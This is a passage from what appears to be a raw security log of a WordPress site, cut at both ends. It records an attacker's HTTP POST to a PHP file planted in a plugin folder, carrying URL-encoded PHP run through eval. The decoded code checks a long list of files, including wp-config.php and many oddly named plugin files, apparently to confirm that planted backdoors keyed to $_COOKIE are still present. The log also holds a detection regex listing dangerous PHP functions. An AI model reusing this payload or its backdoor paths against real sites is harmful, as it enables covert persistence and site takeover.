22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40262767864%40%401816%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:12992\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nEmiqkL=eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40262767864%40%401816%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));"]
["2026-04-20 18:23:53","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Su:%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_m